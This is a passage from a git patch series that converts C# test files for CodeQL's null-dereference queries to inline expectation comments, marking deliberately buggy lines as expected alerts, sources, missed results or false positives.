Nebel Date: Tue, 27 May 2025 09:53:44 +0200 Subject: [PATCH 129/271] C#: Convert tests for cs/dereferenced-value-is-always-null to use inline expectations. --- csharp/ql/test/query-tests/Nullness/A.cs | 14 +++++----- csharp/ql/test/query-tests/Nullness/Assert.cs | 10 +++---- csharp/ql/test/query-tests/Nullness/B.cs | 4 +-- csharp/ql/test/query-tests/Nullness/C.cs | 26 +++++++++---------- csharp/ql/test/query-tests/Nullness/D.cs | 12 ++++----- csharp/ql/test/query-tests/Nullness/E.cs | 18 ++++++------- .../test/query-tests/Nullness/Forwarding.cs | 4 +-- .../query-tests/Nullness/NullAlways.qlref | 3 ++- .../query-tests/Nullness/NullAlwaysBad.cs | 2 +- 9 files changed, 47 insertions(+), 46 deletions(-) diff --git a/csharp/ql/test/query-tests/Nullness/A.cs b/csharp/ql/test/query-tests/Nullness/A.cs index 51bbc280e3c..12f5d74d5a2 100644 --- a/csharp/ql/test/query-tests/Nullness/A.cs +++ b/csharp/ql/test/query-tests/Nullness/A.cs @@ -5,7 +5,7 @@ class A public void Lock() { object synchronizedAlways = null; - lock (synchronizedAlways) // BAD (always) + lock (synchronizedAlways) // $ Alert[cs/dereferenced-value-is-always-null] { synchronizedAlways.GetHashCode(); // GOOD } @@ -14,7 +14,7 @@ class A public void ArrayAssignTest() { int[] arrayNull = null; - arrayNull[0] = 10; // BAD (always) + arrayNull[0] = 10; // $ Alert[cs/dereferenced-value-is-always-null] int[] arrayOk; arrayOk = new int[10]; @@ -28,10 +28,10 @@ class A object methodAccess = null; object methodCall = null; - Console.WriteLine(arrayAccess[1]); // BAD (always) - Console.WriteLine(fieldAccess.Length); // BAD (always) - Func tmp = methodAccess.ToString; // BAD (always) - Console.WriteLine(methodCall.ToString()); // BAD (always) + Console.WriteLine(arrayAccess[1]); // $ Alert[cs/dereferenced-value-is-always-null] + Console.WriteLine(fieldAccess.Length); // $ Alert[cs/dereferenced-value-is-always-null] + Func tmp = methodAccess.ToString; // $ Alert[cs/dereferenced-value-is-always-null] + Console.WriteLine(methodCall.ToString()); // $ Alert[cs/dereferenced-value-is-always-null] Console.WriteLine(arrayAccess[1]); // GOOD Console.WriteLine(fieldAccess.Length); // GOOD @@ -47,7 +47,7 @@ class A object varRef = null; TestMethod2(ref varRef); - varRef.ToString(); // BAD (always) + varRef.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] varRef = null; TestMethod3(ref varRef); diff --git a/csharp/ql/test/query-tests/Nullness/Assert.cs b/csharp/ql/test/query-tests/Nullness/Assert.cs index 0236977aa39..86a99708a1f 100644 --- a/csharp/ql/test/query-tests/Nullness/Assert.cs +++ b/csharp/ql/test/query-tests/Nullness/Assert.cs @@ -12,7 +12,7 @@ class AssertTests s = b ? null : ""; Assert.IsNull(s); - Console.WriteLine(s.Length); // BAD (always) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null] s = b ? null : ""; Assert.IsNotNull(s); @@ -20,7 +20,7 @@ class AssertTests s = b ? null : ""; Assert.IsTrue(s == null); - Console.WriteLine(s.Length); // BAD (always) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null] s = b ? null : ""; Assert.IsTrue(s != null); @@ -28,7 +28,7 @@ class AssertTests s = b ? null : ""; Assert.IsFalse(s != null); - Console.WriteLine(s.Length); // BAD (always) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null] s = b ? null : ""; Assert.IsFalse(s == null); @@ -44,10 +44,10 @@ class AssertTests s = b ? null : ""; Assert.IsTrue(s == null && b); - Console.WriteLine(s.Length); // BAD (always) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null] s = b ? null : ""; Assert.IsFalse(s != null || !b); - Console.WriteLine(s.Length); // BAD (always) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null] } } diff --git a/csharp/ql/test/query-tests/Nullness/B.cs b/csharp/ql/test/query-tests/Nullness/B.cs index 76ebb6ffd8e..946bacecefb 100644 --- a/csharp/ql/test/query-tests/Nullness/B.cs +++ b/csharp/ql/test/query-tests/Nullness/B.cs @@ -10,7 +10,7 @@ class B B neqCallAlways = null; if (eqCallAlways == null) - eqCallAlways.ToString(); // BAD (always) + eqCallAlways.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] if (b2 != null) b2.ToString(); // GOOD @@ -21,7 +21,7 @@ class B if (neqCallAlways != null) { } else - neqCallAlways.ToString(); // BAD (always) + neqCallAlways.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } public static bool operator ==(B b1, B b2) diff --git a/csharp/ql/test/query-tests/Nullness/C.cs b/csharp/ql/test/query-tests/Nullness/C.cs index 805d9e2cae4..1375120ed5d 100644 --- a/csharp/ql/test/query-tests/Nullness/C.cs +++ b/csharp/ql/test/query-tests/Nullness/C.cs @@ -15,7 +15,7 @@ public class C if (!(o != null)) { - o.GetHashCode(); // BAD (always) + o.GetHashCode(); // $ Alert[cs/dereferenced-value-is-always-null] } } @@ -39,7 +39,7 @@ public class C { var s = Maybe() ? null : ""; Debug.Assert(s == null); - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] s = Maybe() ? null : ""; Debug.Assert(s != null); @@ -50,11 +50,11 @@ public class C { var o1 = new object(); AssertNull(o1); - o1.ToString(); // BAD (always) (false negative) + o1.ToString(); // $ MISSING: Alert[cs/dereferenced-value-is-always-null] var o2 = Maybe() ? null : ""; Assert.IsNull(o2); - o2.ToString(); // BAD (always) + o2.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } public void AssertNotNullTest() @@ -159,7 +159,7 @@ public class C s = null; do { - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] s = null; } while (s != null); @@ -167,7 +167,7 @@ public class C s = null; do { - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } while (s != null); @@ -193,7 +193,7 @@ public class C s = null; while (b) { - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] s = null; } @@ -215,7 +215,7 @@ public class C } if (s == null) - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] s = ""; if (s != null && s.Length % 2 == 0) @@ -230,11 +230,11 @@ public class C { s.ToString(); // GOOD } - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] for (s = null; s == null; s = null) { - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } for (s = ""; ; s = null) @@ -246,7 +246,7 @@ public class C public void ArrayAssignTest() { int[] a = null; - a[0] = 10; // BAD (always) + a[0] = 10; // $ Alert[cs/dereferenced-value-is-always-null] a = new int[10]; a[0] = 42; // GOOD @@ -257,8 +257,8 @@ public class C int[] ia = null; string[] sa = null; - ia[1] = 0; // BAD (always) - var temp = sa.Length; // BAD (always) + ia[1] = 0; // $ Alert[cs/dereferenced-value-is-always-null] + var temp = sa.Length; // $ Alert[cs/dereferenced-value-is-always-null] ia[1] = 0; // BAD (always), but not first temp = sa.Length; // BAD (always), but not first diff --git a/csharp/ql/test/query-tests/Nullness/D.cs b/csharp/ql/test/query-tests/Nullness/D.cs index 40419b7f577..cb3df3b3bf2 100644 --- a/csharp/ql/test/query-tests/Nullness/D.cs +++ b/csharp/ql/test/query-tests/Nullness/D.cs @@ -117,7 +117,7 @@ public class D var x = b ? null : "abc"; x = x == null ? "" : x; if (x == null) - x.ToString(); // BAD (always) + x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] else x.ToString(); // GOOD } @@ -194,7 +194,7 @@ public class D { var o = new Object(); if (o == null) - o.ToString(); // BAD (always) + o.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] o.ToString(); // GOOD try @@ -204,7 +204,7 @@ public class D catch (Exception e) { if (e == null) - e.ToString(); // BAD (always) + e.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] e.ToString(); // GOOD } @@ -214,12 +214,12 @@ public class D var o3 = "abc"; if (o3 == null) - o3.ToString(); // BAD (always) + o3.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] o3.ToString(); // GOOD var o4 = "" + null; if (o4 == null) - o4.ToString(); // BAD (always) + o4.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] o4.ToString(); // GOOD } @@ -382,7 +382,7 @@ public class D if (ioe != null) ioe = e; else - ioe.ToString(); // BAD (always) + ioe.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } public void LengthGuard2(int[] a, int[] b) diff --git a/csharp/ql/test/query-tests/Nullness/E.cs b/csharp/ql/test/query-tests/Nullness/E.cs index ec1fa161392..3dde8d97fba 100644 --- a/csharp/ql/test/query-tests/Nullness/E.cs +++ b/csharp/ql/test/query-tests/Nullness/E.cs @@ -207,7 +207,7 @@ public class E { if (s is string) return s.Length; - return s.GetHashCode(); // BAD (always) + return s.GetHashCode(); // $ Alert[cs/dereferenced-value-is-always-null] } public void Ex15(bool b) @@ -217,7 +217,7 @@ public class E x = null; x.ToString(); // BAD (maybe) if (b) - x.ToString(); // BAD (always) + x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } public void Ex16(bool b) @@ -226,7 +226,7 @@ public class E if (b) x = null; if (b) - x.ToString(); // BAD (always) + x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] x.ToString(); // BAD (maybe) } @@ -320,15 +320,15 @@ public class E { if ((s1 ?? s2) is null) { - s1.ToString(); // BAD (always) - s2.ToString(); // BAD (always) + s1.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] + s2.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } } static void Ex28() { var x = (string)null ?? null; - x.ToString(); // BAD (always) + x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } static void Ex29(string s) @@ -402,7 +402,7 @@ public class E { int? i = null; i ??= null; - return i.Value; // BAD (always) + return i.Value; // $ Alert[cs/dereferenced-value-is-always-null] } int Ex41() @@ -436,12 +436,12 @@ public class E { if (s is null) { - s.ToString(); // BAD (always) + s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } if (s is not not null) { - s.ToString(); // BAD (always) (FALSE NEGATIVE) + s.ToString(); // $ MISSING: Alert[cs/dereferenced-value-is-always-null] } if (s is not null) diff --git a/csharp/ql/test/query-tests/Nullness/Forwarding.cs b/csharp/ql/test/query-tests/Nullness/Forwarding.cs index fc7b69da490..122c5036567 100644 --- a/csharp/ql/test/query-tests/Nullness/Forwarding.cs +++ b/csharp/ql/test/query-tests/Nullness/Forwarding.cs @@ -33,11 +33,11 @@ class ForwardingTests if (IsNotNullWrong(s)) { - Console.WriteLine(s.Length); // BAD (always) + Console.WriteLine(s.Length); // $ Alert[cs/dereferenced-value-is-always-null] } AssertIsNotNull(s); - Console.WriteLine(s.Length); // GOOD (false positive) + Console.WriteLine(s.Length); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-is-always-null] } bool IsNotNull(object o) diff --git a/csharp/ql/test/query-tests/Nullness/NullAlways.qlref b/csharp/ql/test/query-tests/Nullness/NullAlways.qlref index 16785ed3e7a..9f937e60952 100644 --- a/csharp/ql/test/query-tests/Nullness/NullAlways.qlref +++ b/csharp/ql/test/query-tests/Nullness/NullAlways.qlref @@ -1 +1,2 @@ -CSI/NullAlways.ql +query: CSI/NullAlways.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Nullness/NullAlwaysBad.cs b/csharp/ql/test/query-tests/Nullness/NullAlwaysBad.cs index 6f0d486f1c7..107a4f3381e 100644 --- a/csharp/ql/test/query-tests/Nullness/NullAlwaysBad.cs +++ b/csharp/ql/test/query-tests/Nullness/NullAlwaysBad.cs @@ -6,7 +6,7 @@ namespace NullAlways { void DoPrint(string s) { - if (s != null || s.Length > 0) + if (s != null || s.Length > 0) // $ Alert[cs/dereferenced-value-is-always-null] Console.WriteLine(s); } } From 76c12a5c697409c8abcc773a95609b58fad16008 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 27 May 2025 11:25:24 +0200 Subject: [PATCH 130/271] C#: Convert tests for cs/dereferenced-value-may-be-null to use inline expectations. --- csharp/ql/test/query-tests/Nullness/C.cs | 32 +++--- csharp/ql/test/query-tests/Nullness/D.cs | 108 +++++++++--------- csharp/ql/test/query-tests/Nullness/E.cs | 100 ++++++++-------- .../query-tests/Nullness/GuardedString.cs | 4 +- .../test/query-tests/Nullness/NullMaybe.qlref | 3 +- .../test/query-tests/Nullness/NullMaybeBad.cs | 4 +- csharp/ql/test/query-tests/Nullness/Params.cs | 6 +- .../Nullness/StringConcatenation.cs | 4 +- 8 files changed, 131 insertions(+), 130 deletions(-) diff --git a/csharp/ql/test/query-tests/Nullness/C.cs b/csharp/ql/test/query-tests/Nullness/C.cs index 1375120ed5d..405dceb74d5 100644 --- a/csharp/ql/test/query-tests/Nullness/C.cs +++ b/csharp/ql/test/query-tests/Nullness/C.cs @@ -59,13 +59,13 @@ public class C public void AssertNotNullTest() { - var o1 = Maybe() ? null : new object(); + var o1 = Maybe() ? null : new object(); // $ Source[cs/dereferenced-value-may-be-null] AssertNonNull(o1); - o1.ToString(); // GOOD (false positive) + o1.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] - var o2 = Maybe() ? null : new object(); + var o2 = Maybe() ? null : new object(); // $ Source[cs/dereferenced-value-may-be-null] AssertNonNull(o1); - o2.ToString(); // BAD (maybe) + o2.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] var o3 = Maybe() ? null : new object(); Assert.IsNotNull(o3); @@ -91,16 +91,16 @@ public class C public void Lock() { - var o = Maybe() ? null : new object(); - lock (o) // BAD (maybe) + var o = Maybe() ? null : new object(); // $ Source[cs/dereferenced-value-may-be-null] + lock (o) // $ Alert[cs/dereferenced-value-may-be-null] o.ToString(); // GOOD } public void Foreach(IEnumerable list) { if (Maybe()) - list = null; - foreach (var x in list) // BAD (maybe) + list = null; // $ Source[cs/dereferenced-value-may-be-null] + foreach (var x in list) // $ Alert[cs/dereferenced-value-may-be-null] { x.ToString(); // GOOD list.ToString(); // GOOD @@ -174,8 +174,8 @@ public class C s = ""; do { - s.ToString(); // BAD (maybe) - s = null; + s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] + s = null; // $ Source[cs/dereferenced-value-may-be-null] } while (true); } @@ -200,8 +200,8 @@ public class C s = ""; while (true) { - s.ToString(); // BAD (maybe) - s = null; + s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] + s = null; // $ Source[cs/dereferenced-value-may-be-null] } } @@ -219,8 +219,8 @@ public class C s = ""; if (s != null && s.Length % 2 == 0) - s = null; - s.ToString(); // BAD (maybe) + s = null; // $ Source[cs/dereferenced-value-may-be-null] + s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } public void For() @@ -237,9 +237,9 @@ public class C s.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } - for (s = ""; ; s = null) + for (s = ""; ; s = null) // $ Source[cs/dereferenced-value-may-be-null] { - s.ToString(); // BAD (maybe) + s.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } } diff --git a/csharp/ql/test/query-tests/Nullness/D.cs b/csharp/ql/test/query-tests/Nullness/D.cs index cb3df3b3bf2..ffc4fd193c7 100644 --- a/csharp/ql/test/query-tests/Nullness/D.cs +++ b/csharp/ql/test/query-tests/Nullness/D.cs @@ -14,22 +14,22 @@ public class D public void Caller() { Callee1(new object()); - Callee1(null); + Callee1(null); // $ Source[cs/dereferenced-value-may-be-null] Callee2(new object()); } public void Callee1(object param) { - param.ToString(); // BAD (maybe) + param.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } - public void Callee2(object param) + public void Callee2(object param) // $ Source[cs/dereferenced-value-may-be-null] { if (param != null) { param.ToString(); // GOOD } - param.ToString(); // BAD (maybe) + param.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] } private static bool CustomIsNull(object x) @@ -55,54 +55,54 @@ public class D if ((2 > 1 && o4 != null) != false) o4.ToString(); // GOOD - var o5 = (o4 != null) ? "" : null; + var o5 = (o4 != null) ? "" : null; // $ Source[cs/dereferenced-value-may-be-null] if (o5 != null) o4.ToString(); // GOOD if (o4 != null) - o5.ToString(); // GOOD (false positive) + o5.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] var o6 = maybe ? null : ""; if (!CustomIsNull(o6)) o6.ToString(); // GOOD - var o7 = maybe ? null : ""; + var o7 = maybe ? null : ""; // $ Source[cs/dereferenced-value-may-be-null] var ok = o7 != null && 2 > 1; if (ok) o7.ToString(); // GOOD else - o7.ToString(); // BAD (maybe) + o7.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] - var o8 = maybe ? null : ""; + var o8 = maybe ? null : ""; // $ Source[cs/dereferenced-value-may-be-null] int track = o8 == null ? 42 : 1 + 1; if (track == 2) o8.ToString(); // GOOD if (track != 42) o8.ToString(); // GOOD if (track < 42) - o8.ToString(); // GOOD (false positive) + o8.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (track <= 41) - o8.ToString(); // GOOD (false positive) + o8.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public void Deref(int i) { - int[] xs = maybe ? null : new int[2]; + int[] xs = maybe ? null : new int[2]; // $ Source[cs/dereferenced-value-may-be-null] if (i > 1) - xs[0] = 5; // BAD (maybe) + xs[0] = 5; // $ Alert[cs/dereferenced-value-may-be-null] if (i > 2) - maybe = xs[1] > 5; // BAD (maybe) + maybe = xs[1] > 5; // $ Alert[cs/dereferenced-value-may-be-null] if (i > 3) { - var l = xs.Length; // BAD (maybe) + var l = xs.Length; // $ Alert[cs/dereferenced-value-may-be-null] } if (i > 4) - foreach (var _ in xs) ; // BAD (maybe) + foreach (var _ in xs) ; // $ Alert[cs/dereferenced-value-may-be-null] if (i > 5) - lock (xs) // BAD (maybe) + lock (xs) // $ Alert[cs/dereferenced-value-may-be-null] xs.ToString(); // Not reported - same basic block if (i > 6) @@ -122,7 +122,7 @@ public class D x.ToString(); // GOOD } - public void LengthGuard(int[] a, int[] b) + public void LengthGuard(int[] a, int[] b) // $ Source[cs/dereferenced-value-may-be-null] { int alen = a == null ? 0 : a.Length; // GOOD int blen = b == null ? 0 : b.Length; // GOOD @@ -131,8 +131,8 @@ public class D { for (int i = 0; i < alen; i++) { - sum += a[i]; // GOOD (false positive) - sum += b[i]; // GOOD (false positive) + sum += a[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] + sum += b[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } } int alen2; @@ -142,13 +142,13 @@ public class D alen2 = 0; for (int i = 1; i <= alen2; ++i) { - sum += a[i - 1]; // GOOD (false positive) + sum += a[i - 1]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } } - public void MissedGuard(object obj) + public void MissedGuard(object obj) // $ Source[cs/dereferenced-value-may-be-null] { - obj.ToString(); // BAD (maybe) + obj.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] var x = obj != null ? 1 : 0; } @@ -160,7 +160,7 @@ public class D public void Exceptions() { - object obj = null; + object obj = null; // $ Source[cs/dereferenced-value-may-be-null] try { obj = MkMaybe(); @@ -168,7 +168,7 @@ public class D catch (Exception e) { } - obj.ToString(); // BAD (maybe) + obj.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] object obj2 = null; try @@ -237,25 +237,25 @@ public class D if (flag) o.ToString(); // GOOD - o = null; + o = null; // $ Source[cs/dereferenced-value-may-be-null] var other = maybe ? null : ""; if (other == null) o = ""; if (other != null) - o.ToString(); // BAD (always) (reported as maybe) + o.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] (always - but reported as maybe) else - o.ToString(); // GOOD (false positive) + o.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] - var o2 = (num < 0) ? null : ""; + var o2 = (num < 0) ? null : ""; // $ Source[cs/dereferenced-value-may-be-null] if (num < 0) o2 = ""; else - o2.ToString(); // GOOD (false positive) + o2.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public void TrackingVariable(int[] a) { - object o = null; + object o = null; // $ Source[cs/dereferenced-value-may-be-null] object other = null; if (maybe) { @@ -264,9 +264,9 @@ public class D } if (other is string) - o.ToString(); // GOOD (false positive) + o.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] - o = null; + o = null; // $ Source[cs/dereferenced-value-may-be-null] int count = 0; var found = false; for (var i = 0; i < a.Length; i++) @@ -280,7 +280,7 @@ public class D } if (a[i] > 10000) { - o = null; + o = null; // $ Source[cs/dereferenced-value-may-be-null] count = 0; if (2 > i) { } found = false; @@ -288,20 +288,20 @@ public class D } if (count > 3) - o.ToString(); // GOOD (false positive) + o.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (found) - o.ToString(); // GOOD (false positive) + o.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] - object prev = null; + object prev = null; // $ Source[cs/dereferenced-value-may-be-null] for (var i = 0; i < a.Length; ++i) { if (i != 0) - prev.ToString(); // GOOD (false positive) + prev.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] prev = a[i]; } - string s = null; + string s = null; // $ Source[cs/dereferenced-value-may-be-null] { var s_null = true; foreach (var i in a) @@ -310,10 +310,10 @@ public class D s = "" + a; } if (!s_null) - s.ToString(); // GOOD (false positive) + s.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } - object r = null; + object r = null; // $ Source[cs/dereferenced-value-may-be-null] var stat = MyStatus.INIT; while (stat == MyStatus.INIT && stat != MyStatus.READY) { @@ -321,7 +321,7 @@ public class D if (stat == MyStatus.INIT) stat = MyStatus.READY; } - r.ToString(); // GOOD (false positive) + r.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public enum MyStatus @@ -348,28 +348,28 @@ public class D public void LoopCorr(int iters) { - int[] a = null; + int[] a = null; // $ Source[cs/dereferenced-value-may-be-null] if (iters > 0) a = new int[iters]; for (var i = 0; i < iters; ++i) - a[i] = 0; // GOOD (false positive) + a[i] = 0; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (iters > 0) { - string last = null; + string last = null; // $ Source[cs/dereferenced-value-may-be-null] for (var i = 0; i < iters; i++) last = "abc"; - last.ToString(); // GOOD (false positive) + last.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } - int[] b = maybe ? null : new int[iters]; + int[] b = maybe ? null : new int[iters]; // $ Source[cs/dereferenced-value-may-be-null] if (iters > 0 && (b == null || b.Length < iters)) throw new Exception(); for (var i = 0; i < iters; ++i) { - b[i] = 0; // GOOD (false positive) + b[i] = 0; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } } @@ -385,30 +385,30 @@ public class D ioe.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } - public void LengthGuard2(int[] a, int[] b) + public void LengthGuard2(int[] a, int[] b) // $ Source[cs/dereferenced-value-may-be-null] { int alen = a == null ? 0 : a.Length; // GOOD int sum = 0; int i; for (i = 0; i < alen; i++) { - sum += a[i]; // GOOD (false positive) + sum += a[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } int blen = b == null ? 0 : b.Length; // GOOD for (i = 0; i < blen; i++) { - sum += b[i]; // GOOD (false positive) + sum += b[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } i = -3; } - public void CorrConds2(object x, object y) + public void CorrConds2(object x, object y) // $ Source[cs/dereferenced-value-may-be-null] { if ((x != null && y == null) || (x == null && y != null)) return; if (x != null) - y.ToString(); // GOOD (false positive) + y.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (y != null) - x.ToString(); // GOOD (false positive) + x.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } } diff --git a/csharp/ql/test/query-tests/Nullness/E.cs b/csharp/ql/test/query-tests/Nullness/E.cs index 3dde8d97fba..f8264523b68 100644 --- a/csharp/ql/test/query-tests/Nullness/E.cs +++ b/csharp/ql/test/query-tests/Nullness/E.cs @@ -6,12 +6,12 @@ public class E { public void Ex1(long[][][] a1, int ix, int len) { - long[][] a2 = null; + long[][] a2 = null; // $ Source[cs/dereferenced-value-may-be-null] var haveA2 = ix < len && (a2 = a1[ix]) != null; - long[] a3 = null; - var haveA3 = haveA2 && (a3 = a2[ix]) != null; // GOOD (FALSE POSITIVE) + long[] a3 = null; // $ Source[cs/dereferenced-value-may-be-null] + var haveA3 = haveA2 && (a3 = a2[ix]) != null; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (haveA3) - a3[0] = 0; // GOOD (FALSE POSITIVE) + a3[0] = 0; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public void Ex2(bool x, bool y) @@ -20,11 +20,11 @@ public class E var s2 = (s1 == null) ? null : ""; if (s2 == null) { - s1 = y ? null : ""; + s1 = y ? null : ""; // $ Source[cs/dereferenced-value-may-be-null] s2 = (s1 == null) ? null : ""; } if (s2 != null) - s1.ToString(); // GOOD (FALSE POSITIVE) + s1.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public void Ex3(IEnumerable ss) @@ -48,7 +48,7 @@ public class E { int index = 0; var result = new List>(); - List slice = null; + List slice = null; // $ Source[cs/dereferenced-value-may-be-null] var iter = list.GetEnumerator(); while (iter.MoveNext()) { @@ -58,19 +58,19 @@ public class E slice = new List(); result.Add(slice); } - slice.Add(str); // GOOD (FALSE POSITIVE) + slice.Add(str); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] ++index; } } - public void Ex5(bool hasArr, int[] arr) + public void Ex5(bool hasArr, int[] arr) // $ Source[cs/dereferenced-value-may-be-null] { int arrLen = 0; if (hasArr) arrLen = arr == null ? 0 : arr.Length; if (arrLen > 0) - arr[0] = 0; // GOOD (FALSE POSITIVE) + arr[0] = 0; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public const int MY_CONST_A = 1; @@ -104,12 +104,12 @@ public class E public void Ex7(int[] arr1) { - int[] arr2 = null; + int[] arr2 = null; // $ Source[cs/dereferenced-value-may-be-null] if (arr1.Length > 0) arr2 = new int[arr1.Length]; for (var i = 0; i < arr1.Length; i++) - arr2[i] = arr1[i]; // GOOD (FALSE POSITIVE) + arr2[i] = arr1[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public void Ex8(int x, int lim) @@ -122,7 +122,7 @@ public class E int j = 0; while (!stop && j < lim) { - int step = (j * obj.GetHashCode()) % 10; // GOOD (FALSE POSITIVE) + int step = (j * obj.GetHashCode()) % 10; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (step == 0) { obj.ToString(); // GOOD @@ -134,7 +134,7 @@ public class E } else { - obj = null; + obj = null; // $ Source[cs/dereferenced-value-may-be-null] } continue; } @@ -149,33 +149,33 @@ public class E { return; } - object obj2 = obj1; + object obj2 = obj1; // $ Source[cs/dereferenced-value-may-be-null] if (obj2 != null && obj2.GetHashCode() % 5 > 2) { obj2.ToString(); // GOOD cond = true; } if (cond) - obj2.ToString(); // GOOD (FALSE POSITIVE) + obj2.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } - public void Ex10(int[] a) + public void Ex10(int[] a) // $ Source[cs/dereferenced-value-may-be-null] { int n = a == null ? 0 : a.Length; for (var i = 0; i < n; i++) { - int x = a[i]; // GOOD (FALSE POSITIVE) + int x = a[i]; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] if (x > 7) a = new int[n]; } } - public void Ex11(object obj, bool b1) + public void Ex11(object obj, bool b1) // $ Source[cs/dereferenced-value-may-be-null] { bool b2 = obj == null ? false : b1; if (b2 == null) { - obj.ToString(); // GOOD (FALSE POSITIVE) + obj.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } if (obj == null) { @@ -183,24 +183,24 @@ public class E } if (b1 == null) { - obj.ToString(); // GOOD (FALSE POSITIVE) + obj.ToString(); // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } } - public void Ex12(object o) + public void Ex12(object o) // $ Source[cs/dereferenced-value-may-be-null] { - var i = o.GetHashCode(); // BAD (maybe) + var i = o.GetHashCode(); // $ Alert[cs/dereferenced-value-may-be-null] var s = o?.ToString(); } public void Ex13(bool b) { - var o = b ? null : ""; + var o = b ? null : ""; // $ Source[cs/dereferenced-value-may-be-null] o.M1(); // GOOD if (b) - o.M2(); // BAD (maybe) + o.M2(); // $ Alert[cs/dereferenced-value-may-be-null] else - o.Select(x => x); // BAD (maybe) + o.Select(x => x); // $ Alert[cs/dereferenced-value-may-be-null] } public int Ex14(string s) @@ -214,8 +214,8 @@ public class E { var x = ""; if (b) - x = null; - x.ToString(); // BAD (maybe) + x = null; // $ Source[cs/dereferenced-value-may-be-null] + x.ToString(); // $ Alert[cs/dereferenced-value-may-be-null] if (b) x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] } @@ -224,20 +224,20 @@ public class E { var x = ""; if (b) - x = null; + x = null; // $ Source[cs/dereferenced-value-may-be-null] if (b) x.ToString(); // $ Alert[cs/dereferenced-value-is-always-null] - x.ToString(); // BAD (maybe) + x.ToString(); // $ 